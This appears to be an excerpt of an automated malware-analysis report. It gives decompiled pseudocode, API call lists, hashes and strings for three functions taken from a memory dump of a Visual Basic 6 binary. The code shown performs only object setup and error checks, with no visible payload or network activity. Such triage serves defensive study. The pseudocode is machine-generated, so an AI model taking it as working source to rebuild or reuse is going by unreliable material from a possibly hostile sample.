Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$ChkstkFree$CheckHresultNew2$#610CopyList$#662Late
String ID:
API String ID: 2500057795-0
Opcode ID: efd62941e5d0c4f886a82c88830670579c1765fc78a23b1aa1d3886a14c8603b
Instruction ID: 4eac3fb471aa199f9f250f713f3c79f68822772b6fc1307bf12d002f8010a358
Opcode Fuzzy Hash: efd62941e5d0c4f886a82c88830670579c1765fc78a23b1aa1d3886a14c8603b
Instruction Fuzzy Hash: 8EB1FB719002199BDB20DF91CC45FDEBBB9BF08304F1045AAE509BB2A1DBB95AC8CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00416FFD, Relevance: 44.0, APIs: 24, Strings: 1, Instructions: 243
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00416FFD(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v52;
				intOrPtr _v60;
				intOrPtr _v68;
				intOrPtr _v76;
				intOrPtr _v84;
				intOrPtr _v92;
				intOrPtr _v100;
				intOrPtr* _v104;
				signed int _v108;
				intOrPtr* _v120;
				signed int _v124;
				intOrPtr* _v128;
				signed int _v132;
				intOrPtr* _v136;
				signed int _v140;
				intOrPtr* _v144;
				signed int _v148;
				char* _t105;
				signed int _t111;
				char* _t115;
				signed int _t118;
				char* _t122;
				signed int _t126;
				char* _t130;
				signed int _t134;
				char* _t135;
				char* _t137;
				intOrPtr _t141;
				void* _t165;
				void* _t167;
				intOrPtr* _t168;

				_t168 = _t167 - 0xc;
				 *[fs:0x0] = _t168;
				L004014B0();
				_v16 = _t168;
				_v12 = 0x401388;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x7c,  *[fs:0x0], 0x4014b6, _t165);
				if( *0x419010 != 0) {
					_v120 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v120 = 0x419010;
				}
				_t141 =  *((intOrPtr*)( *_v120));
				_t105 =  &_v32;
				L0040169C();
				_v104 = _t105;
				_v92 = 0x80020004;
				_v100 = 0xa;
				_v76 = 0x80020004;
				_v84 = 0xa;
				_v60 = 0x80020004;
				_v68 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t168 =  *0x401380;
				_t111 =  *((intOrPtr*)( *_v104 + 0x1cc))(_v104, _t141, 0x10, 0x10, 0x10, _t105,  *((intOrPtr*)(_t141 + 0x378))( *_v120));
				asm("fclex");
				_v108 = _t111;
				if(_v108 >= 0) {
					_v124 = _v124 & 0x00000000;
				} else {
					_push(0x1cc);
					_push(0x4113ac);
					_push(_v104);
					_push(_v108);
					L00401690();
					_v124 = _t111;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v128 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v128 = 0x419010;
				}
				_t115 =  &_v32;
				L0040169C();
				_v104 = _t115;
				_t118 =  *((intOrPtr*)( *_v104 + 0x128))(_v104, _t115,  *((intOrPtr*)( *((intOrPtr*)( *_v128)) + 0x30c))( *_v128));
				asm("fclex");
				_v108 = _t118;
				if(_v108 >= 0) {
					_v132 = _v132 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x4114a8);
					_push(_v104);
					_push(_v108);
					L00401690();
					_v132 = _t118;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v136 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v136 = 0x419010;
				}
				_t122 =  &_v32;
				L0040169C();
				_v104 = _t122;
				_v60 = 0x80020004;
				_v68 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t126 =  *((intOrPtr*)( *_v104 + 0x1ec))(_v104, L"domstolslignende", 0x10, _t122,  *((intOrPtr*)( *((intOrPtr*)( *_v136)) + 0x310))( *_v136));
				asm("fclex");
				_v108 = _t126;
				if(_v108 >= 0) {
					_v140 = _v140 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x411498);
					_push(_v104);
					_push(_v108);
					L00401690();
					_v140 = _t126;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v144 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v144 = 0x419010;
				}
				_t130 =  &_v32;
				L0040169C();
				_v104 = _t130;
				_t134 =  *((intOrPtr*)( *_v104 + 0x158))(_v104,  &_v36, _t130,  *((intOrPtr*)( *((intOrPtr*)( *_v144)) + 0x324))( *_v144));
				asm("fclex");
				_v108 = _t134;
				if(_v108 >= 0) {
					_v148 = _v148 & 0x00000000;
				} else {
					_push(0x158);
					_push(0x411410);
					_push(_v104);
					_push(_v108);
					L00401690();
					_v148 = _t134;
				}
				_push(0);
				_push(0);
				_push(_v36);
				_t135 =  &_v52;
				_push(_t135);
				L00401618();
				_push(_t135);
				L0040160C();
				_v28 = _t135;
				_push( &_v36);
				_t137 =  &_v32;
				_push(_t137);
				_push(2);
				L00401654();
				L00401636();
				asm("wait");
				_push(0x41735e);
				return _t137;
			}

0x00417000
0x0041700f
0x00417019
0x00417021
0x00417024
0x0041702b
0x0041703a
0x00417044
0x0041705e
0x00417046
0x00417046
0x0041704b
0x00417050
0x00417055
0x00417055
0x0041706f
0x00417079
0x0041707d
0x00417082
0x00417085
0x0041708c
0x00417093
0x0041709a
0x004170a1
0x004170a8
0x004170b2
0x004170bc
0x004170bd
0x004170be
0x004170bf
0x004170c3
0x004170cd
0x004170ce
0x004170cf
0x004170d0
0x004170d4
0x004170de
0x004170df
0x004170e0
0x004170e1
0x004170e9
0x004170f4
0x004170fa
0x004170fc
0x00417103
0x0041711f
0x00417105
0x00417105
0x0041710a
0x0041710f
0x00417112
0x00417115
0x0041711a
0x0041711a
0x00417126
0x00417132
0x0041714c
0x00417134
0x00417134
0x00417139
0x0041713e
0x00417143
0x00417143
0x00417167
0x0041716b
0x00417170
0x0041717b
0x00417181
0x00417183
0x0041718a
0x004171a6
0x0041718c
0x0041718c
0x00417191
0x00417196
0x00417199
0x0041719c
0x004171a1
0x004171a1
0x004171ad
0x004171b9
0x004171d6
0x004171bb
0x004171bb
0x004171c0
0x004171c5
0x004171ca
0x004171ca
0x004171fa
0x004171fe
0x00417203
0x00417206
0x0041720d
0x00417217
0x00417221
0x00417222
0x00417223
0x00417224
0x00417232
0x00417238
0x0041723a
0x00417241
0x00417260
0x00417243
0x00417243
0x00417248
0x0041724d
0x00417250
0x00417253
0x00417258
0x00417258
0x0041726a
0x00417276
0x00417293
0x00417278
0x00417278
0x0041727d
0x00417282
0x00417287
0x00417287
0x004172b7
0x004172bb
0x004172c0
0x004172cf
0x004172d5
0x004172d7
0x004172de
0x004172fd
0x004172e0
0x004172e0
0x004172e5
0x004172ea
0x004172ed
0x004172f0
0x004172f5
0x004172f5
0x00417304
0x00417306
0x00417308
0x0041730b
0x0041730e
0x0041730f
0x00417317
0x00417318
0x0041731d
0x00417323
0x00417324
0x00417327
0x00417328
0x0041732a
0x00417335
0x0041733a
0x0041733b
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00417019
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00417050
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041707D
__vbaChkstk.MSVBVM60(?,00000000), ref: 004170B2
__vbaChkstk.MSVBVM60(?,00000000), ref: 004170C3
__vbaChkstk.MSVBVM60(?,00000000), ref: 004170D4
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,000001CC,?,?,00000000), ref: 00417115
__vbaFreeObj.MSVBVM60(?,?,00000000), ref: 00417126
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,00000000), ref: 0041713E
__vbaObjSet.MSVBVM60(?,00000000,?,?,00000000), ref: 0041716B
__vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,00000128,?,?,00000000), ref: 0041719C
__vbaFreeObj.MSVBVM60(?,?,00000000), ref: 004171AD
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,00000000), ref: 004171C5
__vbaObjSet.MSVBVM60(?,00000000,?,?,00000000), ref: 004171FE
__vbaChkstk.MSVBVM60(?,00000000,?,?,00000000), ref: 00417217
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411498,000001EC,?,?,00000000), ref: 00417253
__vbaFreeObj.MSVBVM60(?,?,?,?,00000000), ref: 0041726A
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,00000000), ref: 00417282
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,00000000), ref: 004172BB
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411410,00000158,?,?,?,?,00000000), ref: 004172F0
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000,?,?,?,?,?,?,00000000), ref: 0041730F
__vbaI4Var.MSVBVM60(00000000,?,?,?,004014B6), ref: 00417318
__vbaFreeObjList.MSVBVM60(00000002,?,00000000,00000000,?,?,?,004014B6), ref: 0041732A
__vbaFreeVar.MSVBVM60(?,?,00000000,?,?,?,004014B6), ref: 00417335

Strings

domstolslignende, xrefs: 00417225

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$ChkstkFree$CheckHresultNew2$CallLateList
String ID: domstolslignende
API String ID: 235934366-361804011
Opcode ID: f5d32c48397178f1a2cd5da518f9edeb2c5af104a323a299ea349636d4af08ee
Instruction ID: 0c7589e1e53fd598b422e6e91059367d1647d7378e88ef9d261fe7a3c6e93019
Opcode Fuzzy Hash: f5d32c48397178f1a2cd5da518f9edeb2c5af104a323a299ea349636d4af08ee
Instruction Fuzzy Hash: 62A1E770900308EFDB11DFA0C855BDDBBB9BF09704F24486AF505BB2A1CBBA5985DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00416BF7, Relevance: 40.8, APIs: 27, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00416BF7(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				char _v48;
				intOrPtr _v56;
				char _v64;
				char _v80;
				intOrPtr _v88;
				char _v96;
				char _v100;
				char _v104;
				intOrPtr* _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr* _v132;
				intOrPtr* _v136;
				signed int _v140;
				signed int _v144;
				intOrPtr* _v148;
				signed int _v152;
				signed int _v156;
				intOrPtr* _v160;
				signed int _v164;
				signed int _t126;
				char* _t130;
				signed int _t134;
				signed int _t138;
				char* _t143;
				intOrPtr _t150;
				char* _t154;
				signed int _t157;
				char* _t158;
				char* _t162;
				signed int _t166;
				signed int _t169;
				void* _t195;
				void* _t197;
				intOrPtr _t198;

				_t198 = _t197 - 0xc;
				 *[fs:0x0] = _t198;
				L004014B0();
				_v16 = _t198;
				_v12 = 0x401370;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4014b6, _t195);
				L00401684();
				if( *0x419010 != 0) {
					_v132 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v132 = 0x419010;
				}
				_push( *((intOrPtr*)( *((intOrPtr*)( *_v132)) + 0x384))( *_v132));
				_t126 =  &_v48;
				_push(_t126);
				L0040169C();
				_v116 = _t126;
				_v88 = 0x80020004;
				_v96 = 0xa;
				if( *0x419010 != 0) {
					_v136 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v136 = 0x419010;
				}
				_t130 =  &_v44;
				L0040169C();
				_v108 = _t130;
				_t134 =  *((intOrPtr*)( *_v108 + 0x130))(_v108,  &_v40, _t130,  *((intOrPtr*)( *((intOrPtr*)( *_v136)) + 0x374))( *_v136));
				asm("fclex");
				_v112 = _t134;
				if(_v112 >= 0) {
					_v140 = _v140 & 0x00000000;
				} else {
					_push(0x130);
					_push(0x4113ac);
					_push(_v108);
					_push(_v112);
					L00401690();
					_v140 = _t134;
				}
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t138 =  *((intOrPtr*)( *_v116 + 0x1ec))(_v116, _v40, 0x10);
				asm("fclex");
				_v120 = _t138;
				if(_v120 >= 0) {
					_v144 = _v144 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x4113f0);
					_push(_v116);
					_push(_v120);
					L00401690();
					_v144 = _t138;
				}
				L0040165A();
				_push( &_v48);
				_push( &_v44);
				_push(2);
				L00401654();
				_v56 = 0x80020004;
				_v64 = 0xa;
				_push(0);
				_push(0xffffffff);
				_push( &_v64);
				_push(0x411604);
				_push( &_v80);
				L00401582();
				_t143 =  &_v80;
				_push(_t143);
				_push(0x2008);
				L00401588();
				_v104 = _t143;
				_push( &_v104);
				_push( &_v32);
				L0040158E();
				_push( &_v80);
				_push( &_v64);
				_push(2);
				L00401666();
				_t150 =  *((intOrPtr*)(_v32 + 0xc));
				_push( *((intOrPtr*)(_t150 + (0 -  *((intOrPtr*)(_v32 + 0x14))) * 4)));
				_push(0x411424);
				L0040164E();
				if(_t150 != 0) {
					if( *0x419010 != 0) {
						_v148 = 0x419010;
					} else {
						_push(0x419010);
						_push(0x41192c);
						L00401696();
						_v148 = 0x419010;
					}
					_t162 =  &_v44;
					L0040169C();
					_v108 = _t162;
					_t166 =  *((intOrPtr*)( *_v108 + 0x168))(_v108,  &_v100, _t162,  *((intOrPtr*)( *((intOrPtr*)( *_v148)) + 0x364))( *_v148));
					asm("fclex");
					_v112 = _t166;
					if(_v112 >= 0) {
						_v152 = _v152 & 0x00000000;
					} else {
						_push(0x168);
						_push(0x4115a8);
						_push(_v108);
						_push(_v112);
						L00401690();
						_v152 = _t166;
					}
					_t169 =  *((intOrPtr*)( *_a4 + 0x254))(_a4, _v100);
					asm("fclex");
					_v116 = _t169;
					if(_v116 >= 0) {
						_v156 = _v156 & 0x00000000;
					} else {
						_push(0x254);
						_push(0x410d2c);
						_push(_a4);
						_push(_v116);
						L00401690();
						_v156 = _t169;
					}
					L0040168A();
				}
				if( *0x419010 != 0) {
					_v160 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v160 = 0x419010;
				}
				_t154 =  &_v44;
				L0040169C();
				_v108 = _t154;
				_t157 =  *((intOrPtr*)( *_v108 + 0x194))(_v108, _t154,  *((intOrPtr*)( *((intOrPtr*)( *_v160)) + 0x338))( *_v160));
				asm("fclex");
				_v112 = _t157;
				if(_v112 >= 0) {
					_v164 = _v164 & 0x00000000;
				} else {
					_push(0x194);
					_push(0x4113bc);
					_push(_v108);
					_push(_v112);
					L00401690();
					_v164 = _t157;
				}
				L0040168A();
				_v36 = 0x380e9b;
				_push(0x416fd6);
				L0040165A();
				_t158 =  &_v32;
				_push(_t158);
				_push(0);
				L0040157C();
				return _t158;
			}

0x00416bfa
0x00416c09
0x00416c15
0x00416c1d
0x00416c20
0x00416c27
0x00416c36
0x00416c3f
0x00416c4b
0x00416c65
0x00416c4d
0x00416c4d
0x00416c52
0x00416c57
0x00416c5c
0x00416c5c
0x00416c7f
0x00416c80
0x00416c83
0x00416c84
0x00416c89
0x00416c8c
0x00416c93
0x00416ca1
0x00416cbe
0x00416ca3
0x00416ca3
0x00416ca8
0x00416cad
0x00416cb2
0x00416cb2
0x00416ce2
0x00416ce6
0x00416ceb
0x00416cfa
0x00416d00
0x00416d02
0x00416d09
0x00416d28
0x00416d0b
0x00416d0b
0x00416d10
0x00416d15
0x00416d18
0x00416d1b
0x00416d20
0x00416d20
0x00416d32
0x00416d3c
0x00416d3d
0x00416d3e
0x00416d3f
0x00416d4b
0x00416d51
0x00416d53
0x00416d5a
0x00416d79
0x00416d5c
0x00416d5c
0x00416d61
0x00416d66
0x00416d69
0x00416d6c
0x00416d71
0x00416d71
0x00416d83
0x00416d8b
0x00416d8f
0x00416d90
0x00416d92
0x00416d9a
0x00416da1
0x00416da8
0x00416daa
0x00416daf
0x00416db0
0x00416db8
0x00416db9
0x00416dbe
0x00416dc1
0x00416dc2
0x00416dc7
0x00416dcc
0x00416dd2
0x00416dd6
0x00416dd7
0x00416ddf
0x00416de3
0x00416de4
0x00416de6
0x00416df9
0x00416dfc
0x00416dff
0x00416e04
0x00416e0b
0x00416e18
0x00416e35
0x00416e1a
0x00416e1a
0x00416e1f
0x00416e24
0x00416e29
0x00416e29
0x00416e59
0x00416e5d
0x00416e62
0x00416e71
0x00416e77
0x00416e79
0x00416e80
0x00416e9f
0x00416e82
0x00416e82
0x00416e87
0x00416e8c
0x00416e8f
0x00416e92
0x00416e97
0x00416e97
0x00416eb1
0x00416eb7
0x00416eb9
0x00416ec0
0x00416edf
0x00416ec2
0x00416ec2
0x00416ec7
0x00416ecc
0x00416ecf
0x00416ed2
0x00416ed7
0x00416ed7
0x00416ee9
0x00416ee9
0x00416ef5
0x00416f12
0x00416ef7
0x00416ef7
0x00416efc
0x00416f01
0x00416f06
0x00416f06
0x00416f36
0x00416f3a
0x00416f3f
0x00416f4a
0x00416f50
0x00416f52
0x00416f59
0x00416f78
0x00416f5b
0x00416f5b
0x00416f60
0x00416f65
0x00416f68
0x00416f6b
0x00416f70
0x00416f70
0x00416f82
0x00416f87
0x00416f8e
0x00416fc5
0x00416fca
0x00416fcd
0x00416fce
0x00416fd0
0x00416fd5

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00416C15
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00416C3F
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00416C57
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416C84
__vbaNew2.MSVBVM60(0041192C,00419010,?,00000000), ref: 00416CAD
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416CE6
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,00000130), ref: 00416D1B
__vbaChkstk.MSVBVM60(00000000,?,004113AC,00000130), ref: 00416D32
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 00416D6C
__vbaFreeStr.MSVBVM60(00000000,?,004113F0,000001EC), ref: 00416D83
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00416D92
#711.MSVBVM60(?,00411604,0000000A,000000FF,00000000), ref: 00416DB9
__vbaAryVar.MSVBVM60(00002008,?,?,00411604,0000000A,000000FF,00000000), ref: 00416DC7
__vbaAryCopy.MSVBVM60(?,?,00002008,?,?,00411604,0000000A,000000FF,00000000), ref: 00416DD7
__vbaFreeVarList.MSVBVM60(00000002,0000000A,?,?,?,00002008,?,?,00411604,0000000A,000000FF,00000000), ref: 00416DE6
__vbaStrCmp.MSVBVM60(00411424,?,?,?,?,?,?,004014B6), ref: 00416E04
__vbaNew2.MSVBVM60(0041192C,00419010,00411424,?,?,?,?,?,?,004014B6), ref: 00416E24
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416E5D
__vbaHresultCheckObj.MSVBVM60(00000000,?,004115A8,00000168), ref: 00416E92
__vbaHresultCheckObj.MSVBVM60(00000000,00401370,00410D2C,00000254), ref: 00416ED2
__vbaFreeObj.MSVBVM60(00000000,00401370,00410D2C,00000254), ref: 00416EE9
__vbaNew2.MSVBVM60(0041192C,00419010,00411424,?,?,?,?,?,?,004014B6), ref: 00416F01
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416F3A
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113BC,00000194), ref: 00416F6B
__vbaFreeObj.MSVBVM60(00000000,?,004113BC,00000194), ref: 00416F82
__vbaFreeStr.MSVBVM60(00416FD6), ref: 00416FC5
__vbaAryDestruct.MSVBVM60(00000000,?,00416FD6), ref: 00416FD0

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$New2$ChkstkCopyList$#711Destruct
String ID:
API String ID: 3937751175-0
Opcode ID: 692c484bb0127ac93d501b91e68d77708b9563c4e26e18822f70c87554af9df6
Instruction ID: ac880c9ce0fe71bd12610bc907cb4da49986d11c29c307a3358d2ac9c9c485e2
Opcode Fuzzy Hash: 692c484bb0127ac93d501b91e68d77708b9563c4e26e18822f70c87554af9df6
Instruction Fuzzy Hash: F2B10675E00218AFDB10EFA4CC55BDDBBB8BF08304F10446AE509BB2A1DB799985DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00416505, Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 213
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00416505(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				short _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v48;
				char _v56;
				char* _v64;
				intOrPtr _v72;
				void* _v92;
				signed int _v96;
				intOrPtr* _v100;
				signed int _v104;
				signed int _v116;
				intOrPtr* _v120;
				signed int _v124;
				signed int _v128;
				intOrPtr* _v132;
				signed int _v136;
				intOrPtr* _v140;
				signed int _v144;
				signed short _t103;
				char* _t111;
				signed int _t114;
				char* _t118;
				signed int _t122;
				signed int _t128;
				signed int _t134;
				void* _t161;
				void* _t163;
				intOrPtr _t164;

				_t164 = _t163 - 0xc;
				 *[fs:0x0] = _t164;
				L004014B0();
				_v16 = _t164;
				_v12 = 0x401338;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x78,  *[fs:0x0], 0x4014b6, _t161);
				_v64 = L"theatrelike";
				_v72 = 8;
				L004015FA();
				_t103 =  &_v56;
				_push(_t103);
				L004015A0();
				asm("sbb eax, eax");
				_v92 =  ~( ~( ~_t103));
				L00401636();
				if(_v92 != 0) {
					if( *0x41931c != 0) {
						_v120 = 0x41931c;
					} else {
						_push(0x41931c);
						_push(0x41137c);
						L00401696();
						_v120 = 0x41931c;
					}
					_v92 =  *_v120;
					_t128 =  *((intOrPtr*)( *_v92 + 0x1c))(_v92,  &_v36);
					asm("fclex");
					_v96 = _t128;
					if(_v96 >= 0) {
						_v124 = _v124 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x41136c);
						_push(_v92);
						_push(_v96);
						L00401690();
						_v124 = _t128;
					}
					_v100 = _v36;
					_v64 = 0x80020004;
					_v72 = 0xa;
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t134 =  *((intOrPtr*)( *_v100 + 0x54))(_v100, 0x10,  &_v40);
					asm("fclex");
					_v104 = _t134;
					if(_v104 >= 0) {
						_v128 = _v128 & 0x00000000;
					} else {
						_push(0x54);
						_push(0x4115e4);
						_push(_v100);
						_push(_v104);
						L00401690();
						_v128 = _t134;
					}
					_v116 = _v40;
					_v40 = _v40 & 0x00000000;
					_v48 = _v116;
					_v56 = 9;
					_push(0x10);
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(0);
					_push(_v28);
					L00401660();
					L0040168A();
					L00401636();
				}
				if( *0x419010 != 0) {
					_v132 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v132 = 0x419010;
				}
				_t111 =  &_v36;
				L0040169C();
				_v92 = _t111;
				_t114 =  *((intOrPtr*)( *_v92 + 0x1ac))(_v92, _t111,  *((intOrPtr*)( *((intOrPtr*)( *_v132)) + 0x314))( *_v132));
				asm("fclex");
				_v96 = _t114;
				if(_v96 >= 0) {
					_v136 = _v136 & 0x00000000;
				} else {
					_push(0x1ac);
					_push(0x4113cc);
					_push(_v92);
					_push(_v96);
					L00401690();
					_v136 = _t114;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v140 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v140 = 0x419010;
				}
				_t118 =  &_v36;
				L0040169C();
				_v92 = _t118;
				_v64 = 0x80020004;
				_v72 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t122 =  *((intOrPtr*)( *_v92 + 0x1b0))(_v92, 0x10, _t118,  *((intOrPtr*)( *((intOrPtr*)( *_v140)) + 0x314))( *_v140));
				asm("fclex");
				_v96 = _t122;
				if(_v96 >= 0) {
					_v144 = _v144 & 0x00000000;
				} else {
					_push(0x1b0);
					_push(0x4113cc);
					_push(_v92);
					_push(_v96);
					L00401690();
					_v144 = _t122;
				}
				L0040168A();
				_v32 = 0x7c1;
				_push(0x4167ff);
				L0040168A();
				return _t122;
			}

0x00416508
0x00416517
0x00416521
0x00416529
0x0041652c
0x00416533
0x00416542
0x00416545
0x0041654c
0x00416559
0x0041655e
0x00416561
0x00416562
0x0041656a
0x00416570
0x00416577
0x00416582
0x0041658f
0x004165a9
0x00416591
0x00416591
0x00416596
0x0041659b
0x004165a0
0x004165a0
0x004165b5
0x004165c4
0x004165c7
0x004165c9
0x004165d0
0x004165e9
0x004165d2
0x004165d2
0x004165d4
0x004165d9
0x004165dc
0x004165df
0x004165e4
0x004165e4
0x004165f0
0x004165f3
0x004165fa
0x00416608
0x00416612
0x00416613
0x00416614
0x00416615
0x0041661e
0x00416621
0x00416623
0x0041662a
0x00416643
0x0041662c
0x0041662c
0x0041662e
0x00416633
0x00416636
0x00416639
0x0041663e
0x0041663e
0x0041664a
0x0041664d
0x00416654
0x00416657
0x0041665e
0x00416661
0x0041666b
0x0041666c
0x0041666d
0x0041666e
0x0041666f
0x00416671
0x00416674
0x0041667c
0x00416684
0x00416684
0x00416690
0x004166aa
0x00416692
0x00416692
0x00416697
0x0041669c
0x004166a1
0x004166a1
0x004166c5
0x004166c9
0x004166ce
0x004166d9
0x004166df
0x004166e1
0x004166e8
0x00416707
0x004166ea
0x004166ea
0x004166ef
0x004166f4
0x004166f7
0x004166fa
0x004166ff
0x004166ff
0x00416711
0x0041671d
0x0041673a
0x0041671f
0x0041671f
0x00416724
0x00416729
0x0041672e
0x0041672e
0x0041675e
0x00416762
0x00416767
0x0041676a
0x00416771
0x0041677b
0x00416785
0x00416786
0x00416787
0x00416788
0x00416791
0x00416797
0x00416799
0x004167a0
0x004167bf
0x004167a2
0x004167a2
0x004167a7
0x004167ac
0x004167af
0x004167b2
0x004167b7
0x004167b7
0x004167c9
0x004167ce
0x004167d4
0x004167f9
0x004167fe

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00416521
__vbaVarDup.MSVBVM60 ref: 00416559
#558.MSVBVM60(?), ref: 00416562
__vbaFreeVar.MSVBVM60(?), ref: 00416577
__vbaNew2.MSVBVM60(0041137C,0041931C,?), ref: 0041659B
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,0000001C,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004165DF
__vbaChkstk.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416608
__vbaHresultCheckObj.MSVBVM60(00000000,?,004115E4,00000054,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416639
__vbaChkstk.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416661
__vbaLateIdSt.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416674
__vbaFreeObj.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041667C
__vbaFreeVar.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416684
__vbaNew2.MSVBVM60(0041192C,00419010,?), ref: 0041669C
__vbaObjSet.MSVBVM60(?,00000000), ref: 004166C9
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,000001AC), ref: 004166FA
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416711
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00416729
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416762
__vbaChkstk.MSVBVM60(?,00000000), ref: 0041677B
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,000001B0), ref: 004167B2
__vbaFreeObj.MSVBVM60(00000000,?,004113CC,000001B0), ref: 004167C9
__vbaFreeObj.MSVBVM60(004167FF), ref: 004167F9

Strings

theatrelike, xrefs: 00416545

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

